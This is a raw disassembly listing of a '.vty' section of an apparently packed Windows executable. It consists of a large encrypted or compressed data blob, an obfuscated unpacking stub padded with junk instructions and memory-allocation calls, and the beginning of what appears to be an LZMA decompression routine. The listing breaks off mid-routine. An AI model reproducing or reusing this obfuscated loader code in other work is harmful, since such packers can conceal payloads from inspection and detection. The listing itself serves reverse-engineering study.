dd 83E86DE0h, 0C8C3EDABh, 1AB9CA4Ch, 1A04C4Dh, 2E2FD2E7h
dd 99C1BD0Ch, 0AC84B1CDh, 4A6921EAh, 958E38B7h, 0A167FD79h
dd 2EC57427h, 78EB1A22h, 48EB4EF0h, 44B7F254h, 99EEF79Ch
dd 1D7E4A6Fh, 539BE899h, 4475E0BCh, 0C7509501h, 4A8D76F1h
dd 6390FDFEh, 4CE98ED1h, 0EBE4FD9Ch, 214EDDEh, 29FE3451h
dd 6AE74B99h, 2BB7189Bh, 6403B302h, 0A43B4F50h, 510E8A2h
dd 3B098A28h, 3367BC81h, 0C6F691Fh, 0F9A9E291h, 646D0BD5h
dd 5F90DF45h, 6824DE16h, 793B89E5h, 0CB6ECFEEh, 0E243573Ah
dd 42BB6B05h, 0AED6C602h, 0C3C5D95Dh, 316576C3h, 2B54E9Eh
dd 82937EB9h, 5BBE9CCFh, 0D33BBFD8h, 254F12D0h, 0AE3BA131h
dd 0D7BD2AB4h, 1C97927Dh, 0FF2AA074h, 0C6CB607Eh, 50E1345Bh
dd 6096821Dh, 0E2543726h, 14A695E6h, 51DE2630h, 7264E51Fh
dd 470E82BFh, 4FEA3891h, 0F08979Dh, 20791EFBh, 61ABDC4Fh
dd 62C700A3h, 6AF2EE3Bh, 994BD3BFh, 0B458055Bh, 60AE8AEDh
dd 462AF66h, 0F190B633h, 0E3F9D0E2h, 0DD27E4F7h, 34FD4511h
dd 0A6E9E1EDh, 6AB8EE22h, 0F32D7460h, 0CCF744B0h, 0F1502512h
dd 3BA51553h, 5FF08BBDh, 8D089257h, 0F7A537A9h, 5FBE6A1Dh
dd 8F090454h, 6729D1D6h, 9DF7F638h, 0F2F5A1E8h, 9D815E51h
dd 0D1A5631Fh, 3F59AE65h, 81545F67h, 0E543A973h, 0F9A28DB2h
dd 36ECB79Bh, 27387AE3h, 0BD1493B2h, 0FCFF5B35h, 538D7Ch
dd 40180BDCh, 7F092A63h, 0E80299BBh, 7AFA0383h, 86CFE2A6h
dd 7BED1102h, 848F0006h, 5853A6BAh, 347C03D1h, 641A2D23h
dd 0CFFC3B1h, 0EF2D5E3h, 0EE4B37ACh, 3807C968h, 0F1F03268h
dd 0C4E58642h, 28AC4A74h, 427A6CD9h, 0AE0A347Ah, 3319DE2Fh
dd 4F0F7104h, 211B78BAh, 3DCB39CFh, 27B4A881h, 0EC9C4C27h
dd 0DCE1D856h, 3FAA1BDEh, 91617069h, 0C35BB6FCh, 66ABC49Eh
dd 7AB9E7B6h, 52AAA804h, 24436680h, 77320665h, 95274402h
dd 66D5B17h, 3022F1FCh, 98643C6Ch, 458E0117h, 4F4162CCh
dd 25480991h, 0D932AAC9h, 5E1E2D73h, 0C9F16712h, 7454C56Eh
dd 7F4E3303h, 8D235E1Eh, 2B47AA1Ah, 685E2268h, 3FF175BBh
dd 656826D9h, 0C2E2B71Ah, 3F51F26Ch, 88CCDCB7h, 0C2BFA67Ah
dd 7FE280B1h, 0F0E0DCAAh, 0FE1034E9h, 0B82703CDh, 2342B168h
dd 0E881A90Ch, 980555D8h, 0A8732A6Fh, 19CD38F1h, 3AD56B2Ch
dd 953D552Ch, 7F132E4h, 9231982Bh, 0B41CE03Fh, 0D5311829h
dd 88E7D5Ch, 0B518F5ECh, 36080374h, 0E07A082Fh, 0C6B1149Fh
dd 954C1E5Ah, 65D072DFh, 598CA0AEh, 759CEF8Dh, 9A73D5F2h
dd 8C09576Ch, 0EEF220B5h, 60865E21h, 0FC585D24h, 480C9577h
dd 0E24CA68Bh, 0BF13917Bh, 0D1CA916Ch, 0B2BA29B4h, 718216DDh
dd 0A171957Ah, 94CBAD3Fh, 0B84F200Fh, 73207253h, 433715E4h
dd 219801D6h, 60911E97h, 313A7FB5h, 8ACDBC68h, 5C09957Eh
dd 2FFDC896h, 3F0FEFD3h, 3D7073A7h, 0FCE0D255h, 7286492Dh
dd 27661952h, 8C36A64Bh, 189FE48Fh, 872AD0ACh, 0CDA04828h
dd 38988D86h, 0DB6F260h, 0C11CA074h, 0F52F7927h, 0C0E709F9h
dd 1EDDE939h, 5FDFD2E5h, 0C2F0C0BBh, 1933CF2h, 0C5D85C59h
dd 0CAA0182Ch, 0E2054C6Eh, 31D8AAD9h, 177CAE42h, 0CB5CAC8Fh
dd 949B758Dh, 0B77A7A6Ch, 2110B3F0h, 9C80126Fh, 0E965DE4Ah
dd 0CDA7C059h, 88C8D276h, 0C5AABB34h, 0CF63BE4Fh, 0C5D1CBA7h
dd 8A5568A4h, 7C8577BAh, 50795091h, 0B9594D17h, 0DCC8188Eh
dd 996B440Bh, 6DB89BD9h, 98A63642h, 0AF25C443h, 0BDEDBBE2h
dd 6FEB8BDBh, 0D32B65C9h, 6A1A264Fh, 8721ABDEh, 627FE036h
dd 0FC0F697Ah, 149692B0h, 0FB2514CCh, 315ACAFBh, 0C6790D03h
dd 8509D160h, 796162FAh, 5A9DFF9Eh, 0CB65B675h, 339E4A5Bh
dd 899C214Bh, 0BDA88745h, 441E5663h, 0AE4AD6C4h, 0D48D056Bh
dd 219D1362h, 0F5EB1513h, 0E7442BCEh, 1853816Fh, 96F1A878h
dd 7B459BBEh, 17AD215Bh, 0F03B2155h, 6EAC2E14h, 0A40EA5DAh
dd 0D749FEF2h, 0AE40AB20h, 8FA656B0h, 4F174FCAh, 0C73C26D9h
dd 0BE9E06EEh, 0D31D64DEh, 2D06546Bh, 4C7108EBh, 28D14561h
dd 270F1CE8h, 0AF442B7Dh, 5C7A1D8Ah, 9925C1C0h, 0FDF9529Bh
dd 0ED31C87Bh, 0D625FEADh, 98D26571h, 0F20E955Ah, 0E04FCFDDh
dd 27DD9343h, 98F52B76h, 0B33FBE67h, 2EE2EE4Fh, 52490354h
dd 95956D6Bh, 7C85C038h, 540DC919h, 0B31C230Dh, 5E89A169h
dd 0B9EA8C9h, 0F5DF1698h, 1C890A87h, 19EC214h, 21421773h
dd 0FB397683h, 1F553B0Fh, 0C194FE68h, 0DC1322A9h, 29467759h
dd 1F491779h, 6A94262Bh, 0B25B53F0h, 9BC5F5AEh, 0E7E7258Ah
dd 8A23691Bh, 0D085E64Fh, 12B396B9h, 540A1B11h, 0B7BD8CA1h
dd 0F42940CFh, 0F0560082h, 96FCAEC9h, 0B572F8B2h, 0F941A008h
dd 4744F28Ch, 16645676h, 5F50CDDDh, 0DBA60900h, 32867123h
dd 0F8DCDFA5h, 730A9216h, 175D0871h, 8AE22CADh, 8E991A40h
dd 0EF9D0048h, 0CE87C013h, 0A868616h, 0FA461D9Fh, 608D9B8Fh
dd 0FF0B28C0h, 35DC8366h, 0E223692Ah, 40806F18h, 0B5361998h
dd 3436775Fh, 18F9A132h, 0B155CA70h, 10C4A5F2h, 694067B2h
dd 3ED53FB7h, 343E5876h, 0F04FFF1Ch, 89E3FFA4h, 2D8D8263h
dd 3B968D75h, 0ABF5C3D4h, 0A7F4EE8Bh, 536F6575h, 0F21C2F8Ch
dd 0FF02FB92h, 1008F938h, 4E69F998h, 5947B3CDh, 0DC29233Eh
dd 7DC8439Dh, 0E01697FAh, 4CAB8300h, 3B9A1339h, 92CDEA7Ch
dd 5FB95D8h, 331C39B4h, 3295BA7Dh, 3B060478h, 0DCA1A333h
dd 151CFDD0h, 0CC973F5Ah, 4091C924h, 2EFA41D4h, 6101FD76h
dd 7D00E678h, 0B9F51C1Ah, 0E77C49FCh, 4B4AC9ABh, 3EF41445h
dd 980451B7h, 0DB9FFEFFh, 0EBECBFB8h, 0A06928Fh, 728EB24Dh
dd 0EB93A3BBh, 46589D47h, 77D3AD35h, 7D6C7AAFh, 0B65E5CBAh
dd 9CE40C7Bh, 0D76E2244h, 0FED6DAAEh, 2A3B74DAh, 0DB593C69h
dd 5685FA25h, 6520CD5Ah, 6F98D4Dh, 0D196E892h, 9B1D8E90h
dd 7531E10h, 0B3295C3Eh, 4E206872h, 0D5717903h, 3660CD6Dh
dd 522ECA84h, 73609F94h
dd 0E186FD5Ch, 99CD4952h, 8C9D83F3h, 0CAE0368h, 2314ADDDh
dd 3EC6D7F8h, 4702F61Dh, 0EC45779Dh, 384AF715h, 8B0D74CBh
dd 0E31F1614h, 5D6D8C14h, 29FCE199h, 0AB46367Ah, 60C455Eh
dd 0E786462Bh, 8FC7D891h, 85B23B3Dh, 93C6D40Ah, 293EDB0h
dd 54305467h, 0DE25649Fh, 4DA3342Eh, 7E752CEh, 513704ADh
dd 0A1168205h, 19F4C4C9h, 0B47DFB1Ah, 0B153FAFCh, 677189AEh
dd 329BEFABh, 576EB105h, 813F7B19h, 2EB46622h, 9979B1EBh
dd 0B7AF6507h, 0BB36D8B3h, 0DFE91AF8h, 996FCEA7h, 9F58B4F7h
dd 0F2BEC3A6h, 605E36A2h, 0F898EE02h, 6D5107FDh, 92AD2CC8h
dd 6B9B47B2h, 32D12057h, 0FE584D23h, 0B241893Ah, 5D96E395h
dd 7D560ADBh, 3E9DFAD8h, 9CEE704Bh, 3141C07Ch, 5D733220h
dd 0DAC842D3h, 2BC41A3Bh, 7EB81BA0h, 518230DCh, 2D228080h
dd 9A8E4840h, 0A43E5E20h, 33B1A144h, 87161FD9h, 4D430373h
dd 6875D18Dh, 830EBD9Eh, 759AEB92h, 8F0116F9h, 0E26B9EC4h
dd 24FB8FFh, 347091C3h, 0C3791B9Ch, 902D307Bh, 0EE7B8807h
dd 50E902ACh, 3F6C3283h, 6EE75864h, 0CC4F7F4Fh, 0DB293703h
dd 23151A09h, 5974C52Ch, 0CC14486Ch, 3F9466C6h, 8737B994h
dd 49F99703h, 8AF953EBh, 1EFC77E5h, 0B605468Ch, 59B249F2h
dd 0A44682C3h, 1A05DA01h, 85C10ABEh, 9258C807h, 19D51D73h
dd 0AF1856CEh, 0EA28E530h, 371CF389h, 0FE0032B8h, 97FBC5E0h
dd 1B3A7D4Ah, 21D74417h, 6926D51Eh, 7B71613Ah, 916E8FB4h
dd 0FFD88FC1h, 43D6F674h, 0F4D8CAF1h, 0B98D1282h, 958C6871h
dd 63BF03D0h, 9D0AC3Ch, 2C25475Eh, 855F0E92h, 543AE678h
dd 0C082C116h, 0DB56946h, 4651426Bh, 0E1BA06C5h, 0FDAB79B5h
dd 5228924Fh, 5DD5D23Bh, 450FCA47h, 16865CAh, 0F746FC78h
dd 0A2437766h, 7676362Fh, 5005C44Bh, 4E35FE1Eh, 325A17F3h
dd 45C93A96h, 0B81D509Dh, 1F98FFA6h, 0A14A38A4h, 66187BC6h
dd 0C9259E17h, 761029EDh, 0C702CB64h, 0B10C79A7h, 53C28EA9h
dd 43803507h, 4B74A4CFh, 4F17A244h, 0AED3A320h, 6E02643Bh
dd 80E3D684h, 424FF81Ch, 61C17FEAh, 9DECD709h, 0AE489F9Ch
dd 7E09CCD2h, 8E1AF697h, 38B90CE8h, 2440827Bh, 0ED1ED18Bh
dd 98B0B122h, 9D00D11Ah, 26C53E39h, 707D6600h, 0E84A937Ah
dd 24A8E58h, 5026FD93h, 3BD644EEh, 9BF98BF3h, 82F14594h
dd 22390A8Dh, 7481D335h, 597031CFh, 0F79E7C07h, 0FF7DBCD9h
dd 0AAA61646h, 9F41C941h, 0B88A0181h, 0FF646BDAh, 0EB36CAAEh
dd 6505545Fh, 0EC1EC82Bh, 30C76C95h, 7014280h, 22539DB0h
dd 5FB13B76h, 3D1EAAE8h, 0EC452939h, 954198CDh, 0F5AE817Ch
dd 0AFF2B01Eh, 31274335h, 0DF7F1E11h, 1703837Ch, 0F3F0133h
dd 0C115FA19h, 5669055Ah, 2AD18D6Fh, 3EDC3D95h, 24BCC9D8h
dd 34C1463Dh, 7667FC84h, 9A0EAF10h, 0F6AF00AAh, 75D7A67Dh
dd 0C5E40AD9h, 62549A64h, 2A6BE476h, 3DDAC699h, 8EA3F66h
dd 0C74591Ah, 3683E7BAh, 9B1FD2D1h, 0C61D67E2h, 789601E0h
dd 0FA6AC79Ch, 9205E41Ch, 27F80EC0h, 2818EA0Fh, 7DC21DB6h
dd 55927955h, 0A3479375h, 97D5F7AAh, 1DBC1077h, 8301E4B5h
dd 9E2A0710h, 7337C56h, 6BAEF13Bh, 0DC46073Fh, 925E6A85h
dd 7984AE30h, 6D167FABh, 7937B08Fh, 1238601h, 60574B89h
dd 0D0A8EC39h, 1A474B1Bh, 39A7F665h, 8AB5AEF4h, 0A3ED68EFh
dd 474FEC59h, 0B2E2A9FDh, 0F5EE32E2h, 0D785D272h, 0A4C5823Ah
dd 6D9BA3E0h, 1B08A99Dh, 1A635073h, 5FCB55FEh, 0C9D9866Ah
dd 0EE2C81D6h, 11437691h, 44A810C6h, 7A90C197h, 2E2E8C05h
dd 572D1F43h, 0E6E70111h, 8AAB1B34h, 77AF94D5h, 8E9A0CA9h
dd 93DB1702h, 7B6429ECh, 0B4DAEE84h, 8B1121F8h, 4BDBFB66h
dd 21FDFBF7h, 0CC22219Ch, 0A82E2B3h, 1693EDAEh, 8FFC6CCFh
dd 0FC37E8FFh, 3F19C8D1h, 61D8FDD0h, 7593782Eh, 0F93D9D43h
dd 12C8A7BFh, 4AC02A42h, 5CAB5F84h, 3B5E1D0h, 9EC4DB8Fh
dd 897CE9DAh, 0BE8F3E1Ch, 0F14B0D0Dh, 30C32780h, 0CF267BE2h
dd 97B66D5Fh, 7C1A56D9h, 0C60E5BE0h, 5DF5D4DCh, 0A567B95h
dd 42189F12h, 923DF6B9h, 0EC50366Ch, 0B129595Dh, 10E1D694h
dd 0CFAA1845h, 3BCCA7B8h, 6BDB3543h, 1A9DCD1Ah, 0EDD867D5h
dd 46D4FDDEh, 3F953017h, 771174h, 9BEC453Bh, 760B69D9h
dd 1F26CB64h, 0F58358C0h, 89A9C26Ah, 2C5EA02Ah, 65B710C4h
dd 43FAFA35h, 0C9D37A7Eh, 629E5BC4h, 0A1E0C14Ch, 0E0ACD8A1h
dd 6EEBCBEBh, 0C1D45C81h, 804FB866h, 0B5204092h, 349419E1h
dd 0A312CBB5h, 0A6F10EC0h, 893B0D55h, 82BEEC0Ch, 0A0EEC196h
dd 0A8C5BDF9h, 1F509E51h, 0CE192617h, 0C429179Bh, 0BC2C88DBh
dd 0F0EF4E27h, 0BB8212C1h, 9EFF70C8h, 0F1827472h, 0FB489BBCh
dd 0BDE250A0h, 0DC2B250Eh, 0E403D52Dh, 732E0F7Ah, 717F155Dh
dd 0A6D0FA81h, 0B6F581E5h, 0BA2957C4h, 79FAA539h, 0FC7AB63Ch
dd 0F268612Ah, 0A5E6226Fh, 1FB827BDh, 39FD4AF0h, 77DBB1C1h
dd 9D4ECF6Ah, 772A8B89h, 0D3148D97h, 0BDDDC659h, 90F6115h
dd 0FECD4176h, 0D77B1DD8h, 9C656A5Dh, 0EABEA3BDh, 4B987E35h
dd 0E4E4BE7Bh, 3E72355Dh, 1BCADE31h, 66985843h, 0ECB53E5Dh
dd 0AF91D24Ch, 0A305E6ECh, 0FBACB620h, 0C190FCB2h, 0E4D60F91h
dd 0EAA5EFEAh, 8CF9FB36h, 0CE470A7h, 49E554D4h, 0FAEA3841h
dd 9F3EBAECh, 0EA9C7184h, 0EE77EAC3h, 0AC67F488h, 229D02C3h
dd 8EB9EDBEh, 0A1F02F0Eh, 50672783h, 0B6C1CBBDh, 72362E8Fh
dd 0ABC45978h, 0B819FF2Bh, 5BCFED68h, 4AF92806h, 738A3625h
dd 27AE206Dh, 0CDB5C245h, 851447F7h, 0C5C47DC3h, 9F67D1DDh
dd 0D34532AEh, 6A095667h, 1992CDC7h, 0B0613147h, 0FFA90AE5h
dd 0BAEFBF40h, 6CC5DA93h, 2613EDFBh, 62E58B5Fh, 0FBD32603h
dd 361E628Ah, 9074C458h, 0BE6AA98Ah, 422CA4F6h, 27E8C863h
dd 0A7013B9Eh, 0B6EB56E7h, 4BC2E465h, 6422D92Dh, 11E05121h
dd 1AEC654h, 0B1FAB92Eh, 0DBA06ACAh, 4EA36A68h, 0D0F1717Fh
dd 0DCDE2FCBh, 5EBE76D1h, 0B717E596h, 4292CA96h, 2E4D6199h
dd 0D5847C5Bh, 6C15C13Eh, 0AA354087h, 3D01658Fh, 36C28814h
dd 0BFF46B51h, 3A02F25Bh, 607AE3E8h, 31732EE2h, 87E585D8h
dd 0BF24EAh, 0E8E82DEh, 5FB1C73Ch, 4E0AD9C3h, 8A162F3h
dd 506986F8h, 0EBFDBD6Fh, 3EF3E6FEh, 0C88D846h, 44A62B86h
dd 91D0DB93h, 0D9E7A286h, 23783AC3h, 2DDB7E1h, 66ADCC30h
dd 80372B10h, 5DD2BDFh, 100715A3h, 0A3D136F5h, 0F76A7924h
dd 314FAACCh, 596AFB6Fh, 41F57E9Ch, 3A29D994h, 0DA02353h
dd 30388A10h, 0FC76C09Ch, 6C41780Eh, 0B7F8AC85h, 0B71DF891h
dd 4C4E010Fh, 75BB5DD1h, 0CAD49D81h, 0CD0D370Fh, 6D91BA7h
dd 0F1BD3028h, 9B66092Dh, 0C8DE247Fh, 2EB11C8Fh, 0FF2D1FC3h
dd 0A7A2CB22h, 0EA3CE9D3h, 0D2A6FDE2h, 0B03241FCh, 3403D332h
dd 0B0006F05h, 9CD0E846h, 29291D3Ah, 0FD58E78Eh, 887C09DAh
dd 9976DEB6h, 23DAA102h, 6EBFE7AEh, 1ADAAA78h, 85CAC245h
dd 30C1D0BBh, 0A4EF2C8Fh, 4EAE1CC6h, 40E16012h, 9612F2B9h
dd 37791B25h, 68419769h, 544D42F1h, 2D1A52EBh, 58EA9A14h
dd 4096514Ch, 88231D2Ah, 7B8D5394h, 0AE58A88h, 34F6BF2Ch
dd 0FF88C4Dh, 0AD4D1756h, 0A35C4B1Dh, 25EE3777h, 768A3E65h
dd 4B58D54h, 3C7FCBD7h, 83168495h, 2F3CBB37h, 0F0FADB26h
dd 18F168EBh, 19821E45h
dd 0C0950959h, 5FEA0F34h, 0FDEF58A0h, 7F04F824h, 0E32B6CCBh
dd 6A0F67EFh, 0A1A26970h, 5FC1DEA9h, 6D05301Dh, 26DCC2DDh
dd 0B9509282h, 0D862F22Eh, 0FB0734Eh, 5CA61939h, 441CD915h
dd 0D7B65D42h, 0C08ADECAh, 9D97DCD9h, 769FC88Fh, 0A3946F36h
dd 3AEE9E1Bh, 2F018C30h, 0CA5530F8h, 5783B2EFh, 820FD021h
dd 0D0FE0794h, 0C087963Ah, 86A4153h, 9D359068h, 7B5F9306h
dd 612C91F3h, 2B7CA74h, 8FB15B2Ch, 1B53AC71h, 962F4D76h
dd 87B858F7h, 98745842h, 0F1269667h, 4894C382h, 0C622A79Fh
dd 0D5B4F192h, 7D10508Fh, 98D8F7F7h, 11FE63E9h, 0F43FB311h
dd 6B5F2D93h, 5C4AD0DCh, 2F897100h, 65AFD93h, 0B70A8789h
dd 0C3B5B830h, 6CAF56F6h, 0DC1E5DBCh, 0C698919Dh, 0A1CC5D9Bh
dd 5F2AF005h, 1141D835h, 0DCFE9793h, 99D5FF5Ah, 92E5B77Bh
dd 3B4A0998h, 8434D837h, 3BC1489Ch, 7C5B8A46h, 0B1D5208Ch
dd 0A721032Eh, 55FB21B8h, 0B1E9931Fh, 8D6ABF6Bh, 256F3192h
dd 5719B986h, 0AA435C70h, 0C2CB920Fh, 4878082Dh, 4B780CB3h
dd 1C98BB2Fh, 0ED90D31h, 53050BBEh, 0C65BD49Ch, 839F1679h
dd 9903458Ch, 597F1D12h, 0EEE87291h, 2CEF8072h, 4BD1E562h
dd 0FB46807Ch, 0DDA72A6Bh, 8BA924CBh, 0FCFFB9D0h, 682952h
dd 0
dd 4000h, 0D8000000h, 4000C1Ch, 0
dd 0D5000000h, 8A004480h, 68004382h, 24004381h, 4280h
dd 2 dup(4000h), 0
db 80h, 43h, 0
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
dd 5B8D5B00h, 8BC08BC6h, 8BC98BDBh, 909090F6h, 8D28EB90h
dd 0C08BC65Bh, 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h
dd 0B90CC683h, 0Bh, 6C83A4F3h, 61052224h, 1C39D66h, 8BC08B1Bh
dd 8BC98BDBh, 909090F6h, 27EB9090h, 0C08B1B01h, 0C98BDB8Bh
dd 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h
dd 61052224h, 8BC39D66h, 8BC08B13h, 8BC98BDBh, 909090F6h
dd 27EB9090h, 0C08B138Bh, 0C98BDB8Bh, 9C66F68Bh, 24748B60h
dd 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 8DC39D66h
dd 0C08B1473h, 0C98BDB8Bh, 9090F68Bh, 28EB9090h, 8B14738Dh
dd 8BDB8BC0h, 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh
dd 0BB9h, 83A4F300h, 522246Ch, 0C39D6661h, 0C08B086Ah
dd 0C98BDB8Bh, 9090F68Bh, 0EB909090h, 8B086A27h, 8BDB8BC0h
dd 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh, 0AB9h, 83A4F300h
dd 522246Ch, 0C39D6661h, 8BC08B59h, 8BC98BDBh, 909090F6h
dd 0EB909090h, 0C08B5926h, 0C98BDB8Bh, 9C66F68Bh, 24748B60h
dd 0FB7E8D22h, 0B90CC683h, 9, 6C83A4F3h, 61052224h, 1C39D66h
dd 8BC08B16h, 8BC98BDBh, 909090F6h, 27EB9090h, 0C08B1601h
dd 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h
dd 0Ah, 6C83A4F3h, 61052224h, 0ADC39D66h, 0DB8BC08Bh, 0F68BC98Bh
dd 90909090h, 26EB9090h, 8BC08BADh, 8BC98BDBh, 609C66F6h
dd 2224748Bh, 83FB7E8Dh, 9B90CC6h, 0F3000000h, 246C83A4h
dd 66610522h, 8B49C39Dh, 8BDB8BC0h, 90F68BC9h, 90909090h
dd 4926EB90h, 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h
dd 0C683FB7Eh, 9B90Ch, 0A4F30000h, 22246C83h, 9D666105h
dd 54850FC3h, 8BFFFFFFh, 0E906C6E8h, 890C438Bh, 458B0146h
dd 8B046A08h, 8BDB8BC0h, 90F68BC9h, 90909090h, 46A27EBh
dd 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh
dd 0AB90Ch, 0A4F30000h, 22246C83h, 9D666105h, 100068C3h
dd 0C08B0000h, 0C98BDB8Bh, 9090F68Bh, 682AEBh, 8B000010h
dd 8BDB8BC0h, 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh
dd 0DB9h, 83A4F300h, 522246Ch, 0C39D6661h, 68h, 8BC08B0Fh
dd 8BC98BDBh, 0EB9090F6h, 682Ah, 0C08B0F00h, 0C98BDB8Bh
dd 9C66F68Bh, 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Dh, 6C83A4F3h
dd 61052224h, 6AC39D66h, 8BC08B00h, 8BC98BDBh, 909090F6h
dd 27EB9090h, 0C08B006Ah, 0C98BDB8Bh, 9C66F68Bh, 24748B60h
dd 0FB7E8D22h, 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 0FFC39D66h
dd 8BD08BD0h, 8BDB8BC0h, 90F68BC9h, 90909090h, 0D08B27EBh
dd 0DB8BC08Bh, 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh
dd 0AB90Ch, 0A4F30000h, 22246C83h, 9D666105h, 8BFA8BC3h
dd 8BDB8BC0h, 90F68BC9h, 90909090h, 0FA8B27EBh, 0DB8BC08Bh
dd 0F68BC98Bh, 8B609C66h, 8D222474h, 0C683FB7Eh, 0AB90Ch
dd 0A4F30000h, 22246C83h, 9D666105h, 90B8C3h, 0C08B0000h
dd 0C98BDB8Bh, 9090F68Bh, 90B82AEBh, 8B000000h, 8BDB8BC0h
dd 66F68BC9h, 748B609Ch, 7E8D2224h, 0CC683FBh, 0DB9h, 83A4F300h
dd 522246Ch, 0C39D6661h, 0FFFFFFB9h, 8BC08B0Eh, 8BC98BDBh
dd 0EB9090F6h, 0FFFFB92Ah, 0C08B0EFFh, 0C98BDB8Bh, 9C66F68Bh
dd 24748B60h, 0FB7E8D22h, 0B90CC683h, 0Dh, 6C83A4F3h, 61052224h
dd 0F3C39D66h, 8BC08BAAh, 8BC98BDBh, 909090F6h, 27EB9090h
dd 0C08BAAF3h, 0C98BDB8Bh, 9C66F68Bh, 24748B60h, 0FB7E8D22h
dd 0B90CC683h, 0Ah, 6C83A4F3h, 61052224h, 0B8C39D66h, 0C3h
dd 0DB8BC08Bh, 0F68BC98Bh, 2AEB9090h, 0C3B8h, 8BC08B00h
dd 8BC98BDBh, 609C66F6h, 2224748Bh, 83FB7E8Dh, 0DB90CC6h
dd 0F3000000h, 246C83A4h, 66610522h, 8BAAC39Dh, 8BDB8BC0h
dd 90F68BC9h, 90909090h, 0AA26EB90h, 0DB8BC08Bh, 0F68BC98Bh
dd 8B609C66h, 8D222474h, 0C683FB7Eh, 9B90Ch, 0A4F30000h
dd 22246C83h, 9D666105h, 6AD2FFC3h, 10006804h, 73FF0000h
dd 55FF5108h, 8BD08B08h, 9CE91873h, 8B000000h, 0AD3B03F8h
dd 0BA0FC88Bh, 7731FF7h, 88E9A5F3h, 60000000h, 0FF575652h
dd 44891453h, 60611C24h, 3B2BEF8Bh, 788DDF8Bh, 6AF633FBh
dd 64EB5AFCh, 242E048Ah, 74E83CFEh, 2E048B0Dh, 66F0E480h
dd 75800F3Dh, 0C68B464Eh, 334C22Bh, 4C8AD68Bh, 0D041042Eh
dd 573C75E9h, 2E3C8B46h, 0FE2BFB2Bh, 832E3C89h, 1A7703F8h
dd 0E1C1C88Bh, 0FFBF03h, 0E7D30000h, 8D2E3C33h, 0C8A300Ch
dd 0E9D04129h, 0C683DA74h, 2E0C8A03h, 930FE9D0h, 88CDFEC5h
dd 465F2E2Ch, 987CF73Bh, 0ADF10361h, 850FC085h, 0FFFFFF5Bh
dd 800068h, 0FF525000h, 438D0C55h, 46A500Ch, 33FF016Ah
dd 8B1055FFh, 432B0843h, 68046A04h, 1000h, 0FF006A50h
dd 50600855h, 0FF1C73FFh, 1453FF33h, 80006861h, 6A0000h
dd 0C55FF50h, 500C438Dh, 6A0C73FFh, 0FF33FF01h, 738B1055h
dd 327EB20h, 55FF5003h, 33E8B00h, 0F12EB3Bh, 721FF1BAh
dd 410B0304h, 50515041h, 0AB0455FFh, 850F8B58h, 83E875C9h
dd 85AD10C6h, 61D475C0h, 0FFFA32E9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
xor eax, eax
inc eax
mov edi, [ebp+10h]
mov [ebp-14h], eax
mov [ebp-1Ch], eax
mov [ebp-18h], eax
mov [ebp-28h], eax
mov eax, 400h
xor edx, edx
mov ecx, 30736h
rep stosd
mov eax, [ebp+0Ch]
push 5
mov [ebp-8], eax
mov [ebp-10h], edx
mov [ebp-1], dl
mov [ebp-0Ch], edx
mov [ebp+0Ch], edx
or eax, 0FFFFFFFFh
pop ecx
loc_448113: ; CODE XREF: .vty:00448128j
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
inc dword ptr [ebp-8]
dec ecx
mov [ebp+0Ch], edx
jnz short loc_448113
loc_44812A: ; CODE XREF: .vty:004482BCj
; .vty:004482CBj ...
mov esi, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ebp+10h]
and esi, 3
shl ecx, 4
add ecx, esi
cmp eax, 1000000h
lea edi, [edx+ecx*4]
jnb short loc_44815C
mov edx, [ebp-8]
mov ecx, [ebp+0Ch]
movzx edx, byte ptr [edx]
shl ecx, 8
or ecx, edx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_44815C: ; CODE XREF: .vty:00448143j
mov ecx, [edi]
mov ebx, eax
shr ebx, 0Bh
imul ebx, ecx
cmp [ebp+0Ch], ebx
jnb loc_4482D9
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
movzx ecx, byte ptr [ebp-1]
imul ecx, 0C00h
xor edx, edx
mov [edi], esi
mov esi, [ebp+10h]
inc edx
cmp dword ptr [ebp-0Ch], 7
lea ecx, [esi+ecx+1CD8h]
mov eax, ebx
mov [ebp-20h], ecx
jl loc_448242
mov ecx, [ebp-10h]
sub ecx, [ebp-14h]
mov esi, [ebp+8]
movzx ecx, byte ptr [esi+ecx]
mov [ebp-24h], ecx
loc_4481B3: ; CODE XREF: .vty:0044823Aj
shl dword ptr [ebp-24h], 1
mov esi, [ebp-24h]
mov edi, [ebp-20h]
and esi, 100h
cmp eax, 1000000h
lea ecx, [edx+esi]
lea ecx, [edi+ecx*4+400h]
mov [ebp-2Ch], ecx
jnb short loc_4481ED
mov ebx, [ebp-8]
mov edi, [ebp+0Ch]
movzx ebx, byte ptr [ebx]
shl edi, 8
or edi, ebx
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edi
loc_4481ED: ; CODE XREF: .vty:004481D4j
mov ecx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, ecx
cmp [ebp+0Ch], edi
jnb short loc_44821B
mov eax, edi
mov edi, 800h
sub edi, ecx
shr edi, 5
add edi, ecx
mov ecx, [ebp-2Ch]
add edx, edx
test esi, esi
mov [ecx], edi
jnz loc_44829B
jmp short loc_448234
; ---------------------------------------------------------------------------
loc_44821B: ; CODE XREF: .vty:004481FAj
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
test esi, esi
mov edi, [ebp-2Ch]
mov [edi], ecx
lea edx, [edx+edx+1]
